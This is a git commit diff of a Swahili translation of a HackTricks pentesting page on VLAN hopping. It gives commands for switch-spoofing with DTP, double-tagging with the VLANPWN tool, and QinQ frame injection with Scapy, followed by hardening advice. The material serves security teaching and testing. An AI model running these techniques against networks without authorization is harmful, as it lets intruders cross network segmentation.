Translated ['src/generic-methodologies-and-resources/pentesting-network/

This commit is contained in:
Translator 2025-07-18 18:09:44 +00:00
parent 25a83d94aa
commit b4c2fe9efa

View File

@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
Ikiwa ufikiaji wa moja kwa moja kwa swichi upo, segmentation ya VLAN inaweza kupuuziliwa mbali. Hii inahusisha kubadilisha usanidi wa bandari iliyounganishwa kuwa hali ya trunk, kuanzisha interfaces za virtual kwa VLAN zinazolengwa, na kuweka anwani za IP, ama kwa njia ya kidinamik (DHCP) au kwa njia ya kudumu, kulingana na hali (**kwa maelezo zaidi angalia [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
Ikiwa ufikiaji wa moja kwa moja kwa swichi upo, segmentation ya VLAN inaweza kupuuziliwa mbali. Hii inahusisha kubadilisha usanidi wa bandari iliyounganishwa kuwa hali ya trunk, kuanzisha interfaces za virtual kwa VLAN zinazolengwa, na kuweka anwani za IP, ama kwa njia ya kidinamik (DHCP) au kwa njia ya statiki, kulingana na hali (**kwa maelezo zaidi angalia [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)).**
Kwanza, utambulisho wa bandari maalum iliyounganishwa unahitajika. Hii kwa kawaida inaweza kufanywa kupitia ujumbe wa CDP, au kwa kutafuta bandari kupitia **include** mask.
@ -20,9 +20,9 @@ SW1(config)# interface GigabitEthernet 0/2
SW1(config-if)# switchport trunk encapsulation dot1q
SW1(config-if)# switchport mode trunk
```
Kubadilisha kuwa hali ya trunk kutasababisha kuharibika kwa muunganisho kwa muda, lakini hii inaweza kurejeshwa baadaye.
Kuhamisha kwenye hali ya trunk kutasababisha usumbufu wa muda katika muunganisho, lakini hii inaweza kurejeshwa baadaye.
Mikondo ya virtual kisha inaundwa, inatengwa VLAN IDs, na inawashwa:
Mikondo ya virtual kisha inaundwa, inatolewa vitambulisho vya VLAN, na kuanzishwa:
```bash
sudo vconfig add eth0 10
sudo vconfig add eth0 20
@ -44,12 +44,80 @@ Mfano wa kuweka anwani ya IP ya kudumu kwenye kiunganishi (VLAN 10):
```bash
sudo ifconfig eth0.10 10.10.10.66 netmask 255.255.255.0
```
Connectivity inajaribiwa kwa kuanzisha maombi ya ICMP kwa milango ya default ya VLANs 10, 20, 50, na 60.
Connectivity inajaribiwa kwa kuanzisha ombi la ICMP kwa lango la kawaida la VLANs 10, 20, 50, na 60.
Hatimaye, mchakato huu unaruhusu kupita kwa segmentation ya VLAN, hivyo kuwezesha ufikiaji usio na kikomo kwa mtandao wowote wa VLAN, na kuweka msingi wa hatua zinazofuata.
Hatimaye, mchakato huu unaruhusu kupita kwa segmentation ya VLAN, hivyo kuruhusu ufikiaji usio na kikomo kwa mtandao wowote wa VLAN, na kuweka jukwaa kwa hatua zinazofuata.
## References
---
## Mbinu Nyingine za VLAN-Hopping (hakuna CLI ya swichi yenye mamlaka)
Njia ya awali inadhani ufikiaji wa kuthibitishwa wa console au Telnet/SSH kwa swichi. Katika shughuli za ulimwengu halisi, mshambuliaji kwa kawaida anakuwa ameunganishwa kwenye **bandari ya kawaida ya ufikiaji**. Hizi zifuatazo ni hila za Layer-2 ambazo mara nyingi zinakuwezesha kuhamasisha kwa upande bila kuingia kwenye mfumo wa uendeshaji wa swichi:
### 1. Switch-Spoofing na Protokali ya Trunking ya Kijadi (DTP)
Swichi za Cisco ambazo zina DTP imewezeshwa zitafurahia kujadili trunk ikiwa mwenza anadai kuwa swichi. Kuunda fremu moja ya **DTP “desirable”** au **“trunk”** kunabadilisha bandari ya ufikiaji kuwa trunk ya 802.1Q inayobeba *VLANs* zote zinazoruhusiwa.
*Yersinia* na PoCs kadhaa zinafanya mchakato huo kuwa wa kiotomatiki:
```bash
# Become a trunk using Yersinia (GUI)
$ sudo yersinia -G # Launch GUI → Launch attack → DTP → enabling trunking
# Python PoC (dtp-spoof)
$ git clone https://github.com/fleetcaptain/dtp-spoof.git
$ sudo python3 dtp-spoof/dtp-spoof.py -i eth0 --desirable
```
Mara tu bandari inapoenda kwenye trunk unaweza kuunda 802.1Q sub-interfaces na pivot kama ilivyoonyeshwa katika sehemu iliyopita. Mifumo ya kisasa ya Linux haitaji tena *vconfig*; badala yake tumia *ip link*:
```bash
sudo modprobe 8021q
sudo ip link add link eth0 name eth0.30 type vlan id 30
sudo ip addr add 10.10.30.66/24 dev eth0.30
sudo ip link set eth0.30 up
```
### 2. Double-Tagging (Native-VLAN Abuse)
Ikiwa mshambuliaji yuko kwenye **native (untagged) VLAN**, fremu iliyoundwa yenye *michwa miwili* ya 802.1Q inaweza "kuruka" hadi VLAN ya pili hata wakati bandari imefungwa katika hali ya ufikiaji. Zana kama **VLANPWN DoubleTagging.py** (2022-2024 refresh) inafanya kiotomatiki sindikizo:
```bash
python3 DoubleTagging.py \
--interface eth0 \
--nativevlan 1 \
--targetvlan 20 \
--victim 10.10.20.24 \
--attacker 10.10.1.54
```
Packet walk-through:
1. Outer tag (1) inakatwa na swichi ya kwanza kwa sababu inalingana na native VLAN.
2. Inner tag (20) sasa inadhihirika; fremu inasambazwa kwenye trunk kuelekea VLAN 20.
Teknolojia hii bado inafanya kazi mwaka 2025 kwenye mitandao ambayo inacha native VLAN kuwa ya kawaida na inakubali fremu zisizo na tag.
### 3. QinQ (802.1ad) Stacking
Mifumo mingi ya biashara inasaidia *Q-in-Q* huduma ya mtoa huduma encapsulation. Pale ambapo inaruhusiwa, mshambuliaji anaweza kutengeneza tunnel ya trafiki yoyote iliyo na tag ya 802.1Q ndani ya mtoa huduma (S-tag) ili kuvuka maeneo ya usalama. Capture kwa 802.1ad ethertype 0x88a8 na jaribu kupiga tag ya nje kwa kutumia Scapy:
```python
from scapy.all import *
outer = 100 # Service tag
inner = 30 # Customer / target VLAN
payload = Ether(dst="ff:ff:ff:ff:ff:ff")/Dot1Q(vlan=inner)/IP(dst="10.10.30.1")/ICMP()
frame = Dot1Q(type=0x88a8, vlan=outer)/payload
sendp(frame, iface="eth0")
```
---
## Mapendekezo ya Kijamii
1. Zima DTP kwenye bandari zote zinazokabiliwa na watumiaji: `switchport mode access` + `switchport nonegotiate`.
2. Badilisha VLAN asilia kwenye kila trunk kuwa **VLAN isiyotumika, black-hole** na uweke alama: `vlan dot1q tag native`.
3. Punguza VLAN zisizohitajika kwenye trunks: `switchport trunk allowed vlan 10,20`.
4. Lazimisha usalama wa bandari, DHCP snooping & ukaguzi wa ARP wa dynamic ili kupunguza shughuli za Layer-2 zisizo za kawaida.
5. Prefer private-VLANs au segmentation ya L3 badala ya kutegemea tu kutenganisha 802.1Q.
---
## Marejeleo
- [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
- VLANPWN attack toolkit <https://github.com/casterbytethrowback/VLANPWN>
- Twingate "What is VLAN Hopping?" (Aug 2024) <https://www.twingate.com/blog/glossary/vlan%20hopping>
{{#include ../../banners/hacktricks-training.md}}